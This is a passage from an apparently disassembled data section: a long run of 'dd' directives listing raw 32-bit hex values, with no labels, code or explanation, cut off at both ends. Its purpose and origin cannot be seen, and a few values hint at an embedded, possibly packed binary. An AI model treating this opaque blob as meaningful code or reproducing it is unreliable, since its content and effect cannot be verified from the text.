0B209032Fh, 52F5715Fh, 5A04D9D7h, 68714FCCh dd 19AD1A4Fh, 0FE47EF8Eh, 5A30525Bh, 4A712E1h, 346172ABh dd 6BE3F1D5h, 5945E271h, 0B9028A65h, 0DF235170h, 4EE97560h dd 0F6E3034Eh, 0A1B45081h, 0E9315C53h, 69EB4024h, 1839A08Bh dd 94F9B76Ch, 0C4628821h, 28BDBD16h, 46C8110h, 51BE3D50h dd 5149DBEh, 0ADAC060Ch, 0C34F99B6h, 593ED3F9h, 348D2212h dd 82B8AEFFh, 1EE86BB9h, 65BFE9F1h, 45F520D9h, 0CD25B59Ch dd 0A151A74Bh, 6EBD5580h, 9875A82Bh, 56FC0040h, 0FD010864h dd 806086E9h, 6A5EEEC5h, 0EBA048A3h, 0CA2FF23Fh, 70892674h dd 8C11F9C8h, 0D685A9B3h, 0F2095A17h, 0C7B2C7FCh, 677D07E2h dd 49B90BD5h, 0CC44E3F6h, 19444704h, 0E4E2E865h, 0CC3D35F8h dd 0B506EB81h, 5B727AFh, 70460BE7h, 0AE888075h, 2A503D64h dd 6002B2A2h, 0FB01F5EDh, 0B2AFB5Fh, 0B0FDF23Bh, 8A48C440h dd 69187457h, 0EAE25355h, 0B0DF2F58h, 0FE3F8C5Ah, 806CF06Fh dd 9A7E7AFBh, 0C88E7697h, 2228340Ch, 0F1775B1Ch, 0FCE9C206h dd 348939E9h, 0D77846EFh, 21AAE69Dh, 6CA67A14h, 931C77E2h dd 0E285C97Dh, 1EB9F93Bh, 0DB8BD0F6h, 0CA9F489Dh, 0AA2C3F8Fh dd 212EF4Ch, 5C230F42h, 8310DA64h, 5F3B0B21h, 6DD6AEC3h dd 0E1AEED45h, 82066BB7h dd 791B383Ch, 4B567EEBh, 78DFA7Bh, 0B6650F6h, 30B25266h dd 208922DEh, 0C6ED3E1h, 8826E980h, 0F077CE72h, 0D9C9F131h dd 9A20E3C1h, 0CD2C5F48h, 6F93C57h, 551E6EAFh, 0C560486h dd 0D14B5D15h, 6E69C934h, 38B2BE35h, 91584A76h, 65F6371Ch dd 257A4B48h, 0E938A201h, 4116E9C5h, 0B25826D8h, 34CA00E6h dd 2D4853C3h, 0E2090D67h, 0E354E935h, 3A84D0E7h, 0D6059C6h dd 0C0C0BD3Fh, 604E730h, 0FACFFE07h, 72156484h, 88F3EF31h dd 6B7E5A2Dh, 35E85751h, 34AB0469h, 0BA7AFAE9h, 0D96BDB33h dd 647219A0h, 0D708E900h, 0C829920Fh, 64BA595Eh, 0BB3EFEFh dd 0F4A674C4h, 41176EFDh, 13FE1F02h, 0E2B66770h, 0BB5ADFFDh dd 99E36C4Eh, 68585F02h, 5748307Bh, 4082C8CFh, 2D4ABF62h dd 30D41434h, 66A51230h, 3135202Bh, 52D2C4A0h, 0DD64EF2Dh dd 10CE9D84h, 3A69580Bh, 0C8078BC6h, 4266DEB2h, 0BFE2EA01h dd 2F047655h, 0F469A871h, 65668966h, 2E9648F1h, 16492154h dd 670030A3h, 0F028392Ch, 1369E904h, 48E1679Eh, 0D249BAh dd 685653AFh, 247B6B01h, 8DE95E2Ch, 0BE81002Eh, 48AC658Ch dd 0E7E68105h, 0B0C0BA34h, 0F6194DCEh, 5F6F81Bh, 2F3301A7h dd 0C300AE21h, 0A37B2CC5h, 5D59012h, 88F20F7h, 0CD94FE09h dd 0A6F24C81h, 0ECD3F07Fh, 79B5BB92h, 0B88DC412h, 16355B9Fh dd 644521EEh, 0F36800C5h, 0DB18B527h, 0F8040D17h, 0B856E975h dd 0A65139D8h, 0F3AE2D31h, 0D3DCAD98h, 0B7F78880h, 49432CEAh dd 90E3EAFDh, 6221E9C3h, 0E3C32102h, 57281815h, 8802058h dd 0D797B168h, 0EF7D9429h, 90149341h, 0F4A0E9F9h, 0DDBE60C0h dd 9808E144h, 0AB336F31h, 670BEB12h, 0BC6BF137h, 73DE902Dh dd 27B7ED94h, 1E9627Bh, 7E288BC3h, 39E5E740h, 0AF0D4F78h dd 74DE59D2h, 8E2C095Dh, 7FBCC8Ah, 0CB1234C8h, 5419E40h dd 5B83B395h, 0D368AFC5h, 67713BBh, 2350EE5Ah, 0BC513108h dd 6601F299h, 6898DFF7h, 789C3ACDh, 5AC46BE3h, 7C62EFE2h dd 215B2614h, 151637DEh, 3DEA3BC4h, 4FA2F9Fh, 0F9D6E149h dd 1BAD03B3h, 0D88147DEh, 5E55654Ah, 9B33B070h, 9CA560Ch dd 9EDDECDh, 7FFD77DBh, 949BB250h, 0A05A25BCh, 0B977037Bh dd 0AA405B37h, 582385Dh, 0FDEEF54Bh, 11E9B781h, 1E6724CEh dd 9ECC4D5Bh, 95CD7CBDh, 681518CEh, 58142198h, 3E912DFh dd 0B71C13EFh, 64FA4B37h, 0D2A7EAE7h, 0A338B04Bh, 48446201h dd 7C8FBA52h, 0C2EC04F3h, 0C56320D0h, 0C694BE0Fh, 446BCEBEh dd 0A85EAEBCh, 0C9F39E89h, 0DEB1C38Eh, 5CFCB0Ch, 0FA506893h dd 690C5E29h, 0E830EDDAh, 0ACEF6BD9h, 59E40F46h, 18A9E7D1h dd 0F1E855E3h, 5B305E9Ch, 6C870C78h, 410240BFh, 1E7C53E0h dd 477EC10Eh, 89B877B1h, 0CBF73112h, 0C0CF0259h, 80683D70h dd 0F92377E6h, 0DF7F86Dh, 1A2E1D6Bh, 4A653CDAh, 948AD5FBh dd 5E9E024Ch, 8B60AB18h, 40B817E3h, 5247DCC5h, 0F50E34AAh dd 0ECCCF7CFh, 0C2FE7522h, 80DBFE56h, 0CB68F1F7h, 9C539D27h dd 0DA39E39Ah, 8229593Ah, 9D124A3Fh, 5661922Eh, 5E72DC7Ah dd 1F1051Dh, 0E025B1ACh, 0FC28F52Dh, 54709543h, 65BDDEBDh dd 82CEB2D1h, 0E9B3EB80h, 897CB8BAh, 816CBE5Fh, 58DE4CBDh dd 13097E12h, 0AD0E028Fh, 0E7C1DA35h, 3685E8F9h, 53EA49C0h dd 9070342Eh, 2A2103C8h, 9CE959F8h, 687E22EEh, 0F52E2055h dd 990347Dh, 0EF3B83B5h, 582B1082h, 44BDC065h, 0B06ED572h dd 0FBFA0954h, 0E026ED2Bh, 0B9D4858h, 5E31D5BAh, 80B35530h dd 481399CAh, 9D150B7h, 2BE74A54h, 768C125Ch, 0BC7FF0Ah dd 0FA0830DDh, 0C25292FDh, 80EADF1Ah, 52BAF81h, 0E2BB30B5h dd 0B69C085Ch, 0F4024A18h, 0C77CC954h, 5998BB7Fh, 57AE8E6h dd 6F5A6B70h, 11B144BAh, 0C6FE0457h, 0F4889AC1h, 0F9B5B13Eh dd 361E2F2Bh, 9FB8FA92h, 7AF45A31h, 15532E1h, 40AB3CFEh dd 0A2F5C509h, 3142046Eh, 0CAA3B2C6h, 74ADBB4Ah, 0BB1E1DD8h dd 0E31BFF6h, 8D21DE31h, 163CFEC1h, 1D5104B5h, 4AC1063h dd 307E5C84h, 582CACEBh, 38A3009Ch, 53E9EBDDh, 0AF3BE115h dd 5E21262Ch, 4A9CCE12h, 290527B8h, 0A0B9E9DAh, 0EA9F3088h dd 8A5B7771h, 0E495E985h, 0BD80A9BCh, 32881A5Ch, 18CBBF04h dd 0A9EA0CC1h, 0A8B99637h, 62400F27h, 8BB4EBD1h, 0FC7C3142h dd 0DB68420Ah, 0C19B1BF5h, 0DFC223A1h, 32ADE753h, 0FE3441EEh dd 0F823E3F4h, 2E1371CBh, 33D76CAh, 68121EC5h, 5F331804h dd 0EA811538h, 0CB94E26Ch, 60B7E4C1h, 221388C9h, 0D1F77301h dd 0B3DFE941h, 2C354F7Ah, 42C0AF06h, 0C3835A00h, 0A5F38101h dd 0BF647641h, 0E9050179h, 0B7D9BF63h, 0BD5A403Ch, 44D7C1B4h dd 0A88E3DDEh, 0EE3361A4h, 31DBB601h, 7820271Bh, 85111365h dd 7813AB4Fh, 98F7E1C3h, 3A7CAC0Dh, 198B1F81h, 0A500C433h dd 31631042h, 0B9FBE917h, 0E1D5D520h, 0BBD35F89h, 2E07502h dd 0DA785F17h, 8A1BE927h, 0FC1E943Fh, 1022EB0Dh, 0D296776Ah dd 0E6FD56EDh, 0CA084E12h, 0B17C6422h, 0E8096805h, 0AC3D4E14h dd 93B5E27Ah, 0F145B41Eh, 0A252A6E9h, 0D109B3E8h, 1386802Fh dd 53A276E3h, 0CD09719Ah, 83776742h, 111F557Eh, 2D47EA83h dd 3E96F524h, 2019D895h, 9B904027h, 0BAB58CF6h, 97FDCF5h dd 7F563BEBh, 0B82D70C9h, 0D22851C0h, 0BDA00A30h, 30EB79DAh dd 0E460B440h, 0D5E97418h, 685FC01Eh, 416923C7h, 4CCF069Ah dd 8DAFF7DFh, 1C1C6AB5h, 1481002h, 8C988CEh, 7040E90Bh dd 0D0282C12h, 0A11318B2h, 793D7F12h, 0DA421367h, 169362E4h dd 0EDACF558h, 0B2FD9C58h, 0A0527EFCh, 7A4125FDh, 4039136Eh dd 10DBC0Dh, 75C63502h, 0F23B2EBEh, 0CF1296E8h, 0AAD3E7ECh dd 0E917ACDFh, 76B6F9A8h, 2E133F5Ah, 0E1448916h, 62A2BF96h dd 0DF25B21Dh, 2A9309C2h, 529F87F3h, 15E12516h, 745AB02Eh dd 81566C4Fh, 0FA5334BDh, 44DCC589h, 4ED035E3h, 0A7ECFC78h dd 9BB6E034h, 67E22618h, 72053CF5h, 0EDD122D4h, 7C60B9F8h dd 300C62A6h, 1A406ADEh, 0EE8927BFh, 85565F5Dh, 1325AD94h dd 0F8C49BE9h, 0E9B1F1BBh, 42109FA3h, 5E616689h, 0BFD7508Eh dd 0D76C8B82h, 0EBD5F7E2h, 2CE1FB47h, 25B95FC8h, 0F030E257h dd 2A9F9847h, 90C0C1E9h, 63EA1DADh, 5C6013CDh, 6FCE735h dd 0BE7AA902h, 3DECC001h, 0AB53D2C9h, 17470F18h, 94F9B541h dd 0DEF21389h, 0E3348968h, 2C043A7Ah, 58C128B9h, 2F2AFAC3h dd 945CFBC3h, 4715DF25h, 7D52D328h, 1BB605EBh, 0BE025037h dd 82A6F945h, 209110FCh, 0FE83D9EEh, 342D5D02h, 7D1CC819h dd 702B7C2h, 8168315Eh, 2980C565h, 0C6D2C9EEh, 7E35D249h dd 0E9EB4AB5h, 0A82B877Fh, 5DD1A45Ah, 0CF2E3A54h, 0AF1C5B7Bh dd 20337745h, 0A09517EBh, 53409E28h, 0FE009D40h, 0DCCE2905h dd 0AF554E3Fh, 0B8EC010Ah, 0F4E3214Ch, 58C6FB82h, 88584E1Dh dd 0E6BEF6C9h, 0C9BE592Dh, 0D08B34D5h, 8C12F043h, 0D38AF869h dd 5657710Bh, 6AE659AEh, 9939DE89h, 0E50EEF4Fh, 5B0B42D3h dd 8751575Ah, 60BF5700h, 0B7365525h, 5913D0F9h, 9A0C2CFBh dd 124A0104h, 25A0A7E9h, 0BF314E5Bh, 1175FC61h, 683F203Fh dd 9FC45C20h, 0C543B63Dh, 8094D4DDh, 458AC7DCh, 43791B2Fh dd 8099566h, 0B5371C5Dh, 4B8EF75Eh, 0F9820BA8h, 0FE5F97B7h dd 134DF738h, 0D4350913h, 0B08137Bh, 2957C27Dh, 8797E33h dd 6801A0C0h, 6EC9594Ch dd 0A7B864h, 0C10F0D7Ch, 0ABE902EEh, 0CFD989B5h, 97202D94h dd 14BD6746h, 901CEA0h, 5D35DD2Ch, 0F7D4C10h, 4A9E2096h dd 0B5F7224Eh, 91E52ED7h, 7E2FD7BFh, 71557762h, 0E47549DEh dd 9E3B2FE7h, 0A4FD246Ah, 8EEE5B68h, 5DC10BDBh, 0CDEE0228h dd 0C7352AFh, 44902ABAh, 9A1415FAh, 1FDD84C0h, 0C040EE5h dd 0F884F501h, 25E080Bh, 0F721AD18h, 0F29F53CCh, 6ADAFDE1h dd 7670FF54h, 82906890h, 13731506h, 0E51452Eh, 0C12A2726h dd 0F52700B7h, 5CBE9970h, 4D64548h, 33E33C07h, 5BAC3D85h dd 0D67C7A14h, 62D50C69h, 97CF6BEh, 6E686035h, 3C2E465Bh dd 9528C351h, 0EE5D0240h, 0FB8C4B6Bh, 61AE8A74h, 6AD4211Ch dd 0BBB470F2h, 688200E9h, 0F1594440h, 0DE4C889Eh, 148CDA0Fh dd 0AC3F4919h, 0DBFF5F04h, 0D2C9803Eh, 115BD570h, 49004B16h dd 5D5274B4h, 98F79D5Eh, 10F52AA6h, 429A46Fh, 0FEF01CE9h dd 0E0E6FDEFh, 0BD98B8E9h, 0EDE4D851h, 9BC9E481h, 0AEE2AF04h dd 0BC89D916h, 0EE72D94Eh, 0EB154AC3h, 0FCEBA624h, 30496D5h dd 21041479h, 0F86DCCF1h, 26BDDD53h, 0C40DAD50h, 0E1FE151Dh dd 0B1659B38h, 5E588B6Eh, 0FE7F2DEFh, 0BD5696DDh, 5A516156h dd 4FB67B60h, 36318E65h, 2788ADF8h, 6A5999F2h, 27CCA56Fh dd 82FB27FEh, 0A25D5020h, 8AAED3h, 2651F381h, 292F4870h dd 0AF2071D8h, 2FC25D7Ch, 0F76DC9D1h, 40BF954Ch, 0A93F2D28h dd 0FF1BA864h, 0DD74F113h, 0F84C7BB0h, 0ED035BB4h, 0E9084018h dd 0B9A8A05Ah, 0E4735D25h, 41B85013h, 0C4F4B34Ah, 0EB178844h dd 6F924480h, 350C00DFh, 0E2E9D62Ah, 519CC789h, 2ED7C6C0h dd 0B9445ED9h, 3E08413Bh, 120CCAA0h, 0BC455052h, 0E7D113ADh dd 1A87E500h, 50F737E6h, 183995D3h, 0C6CA73Ah, 1002C152h dd 0E9DF21AFh, 2775CF9h, 33E58058h, 971FF85Fh, 0CD5C46D2h dd 1F3B1315h, 72F05CA5h, 7D911214h, 489B205Ah, 0C7F3979h dd 6629CE0Eh, 0BCAD1611h, 48D72610h, 68982D0Dh, 13A26854h dd 0F9503B25h, 0EA6C85A8h, 0C5E55BFCh, 0D020FF51h, 97FEB95Dh dd 5E93C373h, 60AF11D8h, 37BE73DCh, 25ECBC1h, 668164F8h dd 0E41F5F68h, 0DEA995E0h, 2B2BDDEAh, 25BA7311h, 3ACADFC6h dd 0F75948DDh, 0B45BDD7h, 97EB5128h, 0FB0B51C3h, 0D26354C5h dd 590004D6h, 8115B635h, 30550BE2h, 3262506Fh, 75CE95Fh dd 3D50913Bh, 485D733Fh, 84FE4AC3h, 425B946h, 1257193Fh dd 0C0C0529h, 0EF951CAFh, 15D2F509h, 0C58B5DB9h, 89C795Ch dd 703E3C9h, 44439417h, 0B00C014Ah, 14E8015h, 0ECE23ADFh dd 0ACEAE9C5h, 0E2D01246h, 7D7AD609h, 0BE258E16h, 9496665Dh dd 0D8B70848h, 79B45007h, 0F7C1E305h, 0EF12355Ch, 0B541F07Dh dd 0F152BA7Ch, 0E2B08CEh, 5685BE01h, 39E92843h, 0FD6F9575h dd 8568C48Dh, 0B45877FEh, 5020BB80h, 4A086351h, 8FD0EF35h dd 0BE736846h, 8CE90582h, 6A6FD0ABh, 383D6067h, 587FA759h dd 9E5B520h, 41AA5593h, 0A509CC19h, 7F847A5Dh, 57680703h dd 585F103Dh, 0A66639DFh, 0B7181232h, 59EA689Ah, 0AB968409h dd 0DCF1F356h, 0C79FF4C8h, 94D6F683h, 0A608051h, 14BFFED3h dd 0C74195E5h, 475B2052h, 0FBFC940h, 30842F36h, 0D2446544h dd 4C60E25Eh, 502CFAF2h, 141DFFC0h, 1CD8E425h, 97131E68h dd 0E9C3D830h, 3211E80Eh, 0B251AF1Bh, 22D632FBh, 0DFFE8977h dd 796BDC53h, 284101A5h, 555363FDh, 0A0B1EAA4h, 2054C041h dd 5727202Fh, 69584F4Ah, 0C1DE000Ah, 0EFE9D817h, 0F95C97E4h dd 3021D3C4h, 7377DB7h, 391A19EAh, 30F033BFh, 56AF0B0Dh dd 504152A6h, 932E493h, 1ECAE912h, 13E63CFCh, 3710E916h dd 0AA9349B8h, 0CC1728F2h, 0C7AB9C7Ah, 0B4384207h, 29534A07h dd 0B31BE5Ah, 8663E95Bh, 88EAF8C8h, 127B5882h, 0C81C4721h dd 5BC0599h, 590F0407h, 8266E632h, 5FC50DF4h, 0CE945A98h dd 792F33F1h, 3995842Eh, 11FC5C44h, 0E38AFF4Ah, 68517CD8h dd 15535E05h, 0C4AE5940h, 9E24AF7Bh, 4D7B8EC0h, 0EFE9555h dd 0F7EC8F65h, 0C668047Ch, 0F93E143Ch, 7A4D30D6h, 83AF6CE3h dd 0EA0D2BB0h, 547185Ch, 47E88D6h, 0E9A6C1EBh, 0B203DF13h dd 0C33956BBh, 0C9E5D217h, 5130D11Bh, 2E9A41EFh, 0B8123012h dd 0D6B35E3h, 0D5388B7Dh, 0F655A792h, 21694F1Eh, 0B94A9E5Ah dd 2F38E6FCh, 9CACF03Eh, 17CCAD3Dh, 7937BB00h, 0DE3128C9h dd 9C16E2E9h, 2FA5A6BCh, 0F9878BDFh, 8C24811h, 0F92FCA49h dd 349F4216h, 5872694Eh, 2018E497h, 801CB5C6h, 0BDFCEBE1h dd 378992C0h, 0A9B14BECh, 676801DDh, 0F5D2CD7Ah, 0D545CE4Dh dd 83271528h, 0AF987D2Dh, 9DCB05F2h, 0DAC7D8A8h, 0D97E8726h dd 423A61Ah, 53C0DB9Bh, 0E7AFCE80h, 382814D8h, 0D8485AF0h dd 0CE23425h, 3955595Fh, 8951CF20h, 3EE2FDA3h, 30818325h dd 982E2047h, 0FA40491Dh, 0DD569750h, 0A5D7888Fh, 0DCFA03DDh dd 0FEC25078h, 0B243FA4Ch, 0B0D2DDC4h, 7C8A014Ah, 3F00CA58h dd 0E96B117Eh, 16B6FFCDh, 80030A4Fh, 6404CAA4h, 87C21D06h dd 2787C4Bh, 93E446BAh, 9E29D8FDh, 0CB72093Ch, 3C18D331h dd 0FCF577A4h, 0BCA6F6BDh, 0B9D2EFEh, 53C2D9EEh, 0B92D51B6h dd 0D796FF19h, 5129FC9Fh, 9A2C7E56h, 234E8DAh, 5740BE7Dh dd 6642CFF0h, 0BA1DE5Dh, 0BA8ED601h, 0DACBFD78h, 505C7325h dd 0C1C94F1Bh, 2A478F9Dh, 692A8CB5h, 5370972Eh, 0D5B005B8h dd 74F1A43h, 21FE7790h, 5B749878h, 5FD5E010h, 0E2CB5397h dd 8904A5D8h, 371CBFFh, 177B805h, 2DD09112h, 9DC40746h dd 0B4D4A0DFh, 0DCF663h, 52CACC80h, 0B15193B2h, 0D17D7D7Bh dd 6DE9D90Bh, 0FE95757Fh, 89C05593h, 0AB50D368h, 0EAFCEA77h dd 0C14A75A2h, 0C25978D7h, 54AB68B7h, 0BAF547DDh, 0AD3CAACAh dd 0A5F3005Ch, 53386203h, 734EF568h, 40BE41CCh, 16B55C0Ch dd 909DC601h, 1FF8B6B3h, 822D2C3Dh, 88525167h, 0FC62DDC6h dd 42CBFE57h, 8DFC1355h, 138220BAh, 0A903E7C1h, 4FC2E486h dd 71C40B2Ch, 0B589C597h, 0A067E940h, 0C0C74AE9h, 2A303546h dd 6837323Eh, 0A0F23345h, 0A5D171ECh, 91B6C5Fh, 28631F0h dd 0D1C3A95Eh, 0CA90A5E9h, 6216B9h, 0C981235Bh, 71762B31h dd 0F97AB790h, 0F778580Bh, 6CA054D9h, 0B712B11Ch, 0AFC02C2Eh dd 194FE158h, 2206DEE9h, 77F97E29h, 0BBC6EF4Bh, 49C301F6h dd 3137F398h, 0E04B7C5Ch, 9FE5BCE9h, 0E32ACD5Bh, 0C7333A01h dd 0B35FE961h, 5159616Ah, 13402653h, 3AC81ECh, 680AD6D1h dd 9E1435F3h, 564B4257h, 765D1DB7h, 19AF0B00h, 3E056866h dd 5D017312h, 67D0CF02h, 2B427702h, 26E87675h, 485F27F4h dd 967E1B9Ch, 0FA8493AAh, 0ECB86D13h, 4C43BC4Ah, 139520FCh dd 90DBF743h, 4417BB82h, 58930F50h, 0B4D1013h, 0DA5506EFh dd 0EA075384h, 0A8C44CF9h, 17DCC5B7h, 690401F6h, 0F3090CF4h dd 10807B5Eh, 4B7CE943h, 0BD899133h, 0BCBE0098h, 7F890110h dd 0FA5044B8h, 63B02A69h, 205C4B66h, 99C380DFh, 3A6E5C97h dd 39C1E98Bh, 42ADDC7Bh, 4595F28h, 123042C6h, 0EB08E2C0h dd 8DA6CF7h, 4022D8FFh, 58988295h, 0F41F6B79h, 581630D2h dd 5FB3FFCCh, 1827F490h, 79DE92Fh, 886554D3h, 0B1814C94h dd 412FF1BFh, 0DF788599h, 0CD77E824h, 0D0F35A2Dh, 7CD6C222h dd 60774E10h, 2D77A120h, 0CF01F14h, 295D0C0Bh, 0D0C47D7Ch dd 15F1180h, 65346BFBh dd 4FE92404h, 2A2067E1h, 168FB7F4h, 91E3F366h, 0EFB8545Bh dd 9F36E62Eh, 0FFFDFC5Dh, 91A56F7Ch, 4F15671h, 7CFB9EBh dd 0E334398h, 0F5B8EEE4h, 38F7801Fh, 0A4F6FA2Dh, 1794F508h dd 7E50325Ch, 0FF250474h, 173EEEE5h, 89AAFEB0h, 0B5EF600Dh dd 0C4BB5749h, 0B81F3A83h, 5D5C7025h, 40767572h, 0DD55D51Ah dd 558C2283h, 0EC77D9E7h, 5974F1Ah, 0E5F030C7h, 36C2897Ah dd 627FFECCh, 0F590585Dh, 149576F9h, 0DF5524CAh, 0FCBD60E4h dd 18483A45h, 717A7FC6h, 1E1FC59Dh, 3446DF77h, 2FEC108h dd 0CEE134FCh, 37595Eh, 51172BE2h, 77DA58Dh, 0E52358FEh dd 0C8271A50h, 8BF7F6BAh, 71C27F49h, 48E37C55h, 24B61AE9h dd 0C94F2959h, 18E606Eh, 4C5248C3h, 5A56DB50h, 0B2050571h dd 0E89EEE8h, 0E62BA9FCh, 9E899F7Dh, 70974201h, 2277F61Ch dd 0BFF56E1h, 51103BA2h, 1D0B057Ah, 7833914Bh, 1C432087h dd 4C92395h, 0EB2B1EECh, 0CF56CB09h, 0DB922276h, 4A485AA3h dd 5D48930Eh, 0A7E99AD8h, 68208FE9h, 138E7541h, 0F5A578B4h dd 1251E6Dh, 3B7E4D61h, 6EEFD760h, 0FA565FDAh, 0E1818E60h dd 7D3AF66Ah, 70C301Bh, 68565246h, 392EA409h, 14085547h dd 6C950272h, 965573D0h, 60930F36h, 0CFC1159Bh, 0CB5E2A3Ah dd 4A6EE7B0h, 0E97ED304h, 1C8A4B89h, 614BA74Bh, 2D2968A1h dd 217B7DC2h, 400CA10Eh, 0FDCD8112h, 39EB0526h, 0F44DD5F7h dd 0F402C581h, 0E9BEB2EFh, 3522E8A6h, 8B511E2Dh, 0E060971Dh dd 0EF09281Ch, 84D8C780h, 0ECFA5435h, 3928171h, 3C202FA9h dd 5E07A1EBh, 0E912BC67h, 0AD61B0B9h, 13F0534Bh, 1D547543h dd 8135487Ch, 0C160F50Ch, 87D42BE0h, 0A25B8FA8h, 197EC119h dd 46876AD0h, 0C048603Fh, 0DE59082Dh, 9CA1DA5Bh, 3375942h dd 5AEA992Ch, 2296ACE1h, 0F8D13CA6h, 48C5572Dh, 378580h dd 0F1817715h, 441B3E74h, 0E0EE92Dh, 0AEA9A660h, 1C7EBF2Ch dd 4DB60F50h, 0B4D30CC8h, 67BBACEh, 776DA127h, 1C68E98Bh dd 25D3D8E9h, 9618A6BAh, 0DF2E2050h, 818CE8FBh, 8B413E09h dd 8222FE9Ch, 2F22770Ch, 5F7D1157h, 3F021862h, 294BA851h dd 5A82CFA9h, 3E663517h, 0C4BB52D3h, 0AAA552B8h, 2D4706CDh dd 7EF74F11h, 1E2AC900h, 1301214Ch, 1249CBh, 5B13CCFCh dd 9F4AE358h, 0CB25E893h, 4597F4EEh, 839EBB58h, 85190266h dd 132FACE4h, 0B947F622h, 8CCE03B9h, 0CA3D0E1Ah, 6FDE75E6h dd 5E27E950h, 84AFB2E5h, 8100DEC6h, 0F055CCC7h, 4E0C5960h dd 0BD058460h, 841F9C63h, 1CCE0631h, 7C39ABE9h, 0CB38725Fh dd 9A9577A9h, 0EBED40A2h, 0FA5F825Fh, 5F51983Ch, 0BB69E4A3h dd 8A6CC70Fh, 25CD8928h, 45815792h, 778F1781h, 2E46EAEFh dd 9C07AA07h, 123DE42h, 8061C6Dh, 8214821Ch, 5DFE9280h dd 65CA8093h, 0C2BDD9CBh, 0C4E1E801h, 0C101057Fh, 6A573BDDh dd 463A96Eh, 381062E9h, 2DD6B8BFh, 7D4E8976h, 87096B52h dd 56FB2Eh, 76EC23FDh, 3AE9121Eh, 0F19DEE43h, 25F3B32Bh dd 0DB615653h, 8238C3C3h, 406C0EEEh, 0F9C6C10Ah, 0F0606829h dd 607C605Dh, 8018B753h, 8839EF0Fh, 7798ABFAh, 1E73A929h dd 7FEE2818h, 0A5AF8322h, 0EB8E13ACh, 0E0C6F74Eh, 2DFDCCE4h dd 144913BEh, 31DA13Eh, 0E8C35E07h, 1C4CC0FFh, 1A9F5D5Bh dd 0BBAD9EEh, 0EEDDDA23h, 75D38274h, 0CD36D50h, 887988AAh dd 77307F14h, 4C0890E7h, 5D6125C9h, 8C39AEA0h, 899E7C8Ah dd 29BB6024h, 993934CDh, 463A02C5h, 70128005h, 5A582F80h dd 5FE506FAh, 10C4CF7h, 34214F50h, 7AB226E9h, 50073625h dd 368F6725h, 4E288BEBh, 9DC9F7E4h, 305FBD0Bh, 82F680FCh dd 0F85F6D89h, 9E8C024h, 0E94CBE22h, 0A0ED942Fh, 1D016A2Ah dd 1AA8BD6Bh, 0A51C3408h, 0EEA51CF7h, 79DB8E0Ch, 28915614h dd 51856D55h, 8069FF7h, 9D1B78Fh, 0C729E9E1h, 415C84A7h dd 7325C682h, 2894DCBFh, 5AA3BE79h, 0CB09B59h, 5E575441h dd 7B42EA19h, 0DF8562F5h, 0CA078A50h, 675D09ABh, 69F0C2E0h dd 1D52D15h, 565CCB82h, 0FAA87351h, 3B6A8920h, 7A93575Eh dd 0F066EF93h, 2AD2024h, 0AB60D098h, 6D6EBDC6h, 812D0D32h dd 3B0D6AF5h, 266819F0h, 0C28C7183h, 560B8C6Eh, 0E8C64254h dd 43321669h, 0E26D9E1h, 780B02B7h, 0BD9EF404h, 3E096009h dd 0A9971A05h, 5550C504h, 951E2CABh, 76FD5Eh, 0B6D322C8h dd 0E335660h, 89629h, 52455355h, 642E3233h, 41E06C71h dd 94564439h, 0C70D4950h, 4CE7544Eh, 1A10A1Ah, 45E958FCh dd 0CE680A60h, 77A1D9Ch, 0EEE1CA37h, 219D64A3h, 8D08C015h dd 9FB6909Eh, 0AC219FD1h, 90A03D08h, 0A15484A2h, 0DB449848h dd 17208E22h, 3C9734EDh, 2E0110DDh, 0F88B50A6h, 0B556CC70h dd 0E23F3B00h, 0A3EE3141h, 0F98A0057h, 0BE4D846Fh, 1E75C336h dd 0A67B8300h, 32ED2F05h, 0C10100A3h, 9B972794h, 5C0FA40Ch dd 34052DBh, 0F0AE6A41h, 74A5C1h, 88593B1h, 4FACA6DDh dd 0E3959200h, 10CBC964h, 6F47009Eh, 19161C73h, 5579D85Fh dd 0EF22CD00h, 0A837E038h, 6E880070h, 9DB4BFC9h, 9B0093AAh dd 32E70F39h, 14CC3E60h, 0F27EC413h, 0E52E4406h, 56000FD2h dd 5040EB5Ch, 0C0A235EEh, 46AE2617h, 78B0928Dh, 0C9063F7Dh dd 7F22B56Eh, 8CA60F20h, 0B3874074h, 49C6A0B7h, 419D5EAEh dd 0D2D0F109h, 384EFA31h, 0FA00C89Bh, 2DCA8221h, 95005FECh dd 0D7EBB865h, 0FFD7D48h, 3EC98320h, 69905820h, 5D0017B4h dd 41AF7C91h, 50496C57h, 1C9A602h, 6DE72945h, 0E8DD528Fh dd 2650CE46h, 0A8001AB8h, 0A365E8CFh, 1A9518Dh, 78AFC774h dd 0EC9C8780h, 1CC06614h, 0DFE2CF1Fh, 24F500AEh, 0A1579F97h dd 157209C0h, 1BB9D100h, 52E7CEA9h, 6B8D00A4h, 0AB94C443h dd 0A875DB97h, 0A9EB0318h, 15858238h, 0BEC03953h, 2EA64507h dd 974861CBh, 0A450F07Fh, 3A477303h, 0F0575B56h, 0B4C8A554h dd 91803CC4h, 0D421AB78h, 0EA006201h, 0B43CCF0Ch, 0C99A47h dd 8526FB7Fh, 13E7B27Dh, 0B33DCE00h, 7AF29148h, 25224CFFh dd 59EA3F00h, 0DFF6A1EBh, 0D36396A8h, 4F0E7ECh, 8D2DB0Ah dd 8D0085FAh, 5973AC61h, 7156009Dh, 0BE1B3240h, 0C403631Ch dd 6F874F49h, 9B4C88B8h, 0F0300A4h, 3AE21DC7h, 0AD2D9388h dd 3F33A359h, 0C0B0E237h, 3A57FE5h, 54D38E17h, 7A00DDF5h dd 6D261EB8h, 14A0672Eh, 0C1D0DAE1h, 8002BF24h, 0A479858Fh dd 32023507h, 383E19BBh, 0BA8E407Fh, 37E40012h, 4B63BEBDh dd 3A033F49h, 766C28F7h, 5DA6F0CCh, 54EE84h, 0DDD9E5B7h dd 12D8C9C6h, 1B0715E2h, 6D0C03DEh, 4592B68Ah, 518C1D07h dd 0E90EC4D0h, 7DF70330h, 9E35CF1h, 423D9FC8h, 825DBC32h dd 1109683Eh, 0B4DE12FCh, 5EAB0044h, 94BE6E77h, 34F3FB00h dd 6F3B8315h, 0FF3F00CFh, 0F088BF23h, 0C800E677h, 0FB4CD047h dd 7623048h, 0C32CACB9h, 983A709Bh, 0D6000BEEh, 12E96335h dd 54250CFh, 0D1AE4BC5h, 0FFA20028h, 0B03D28Dh, 0CCA9AA75h dd 0A40E2FDh, 27017712h, 8B845E72h, 50689FE0h, 9348B200h dd 588D78F0h, 3B1DC1FAh, 6C4045E6h, 0A2561EADh, 94AA0079h dd 0E13A3E89h, 610E8A42h, 63511BA8h, 901ED675h, 9826E3Dh dd 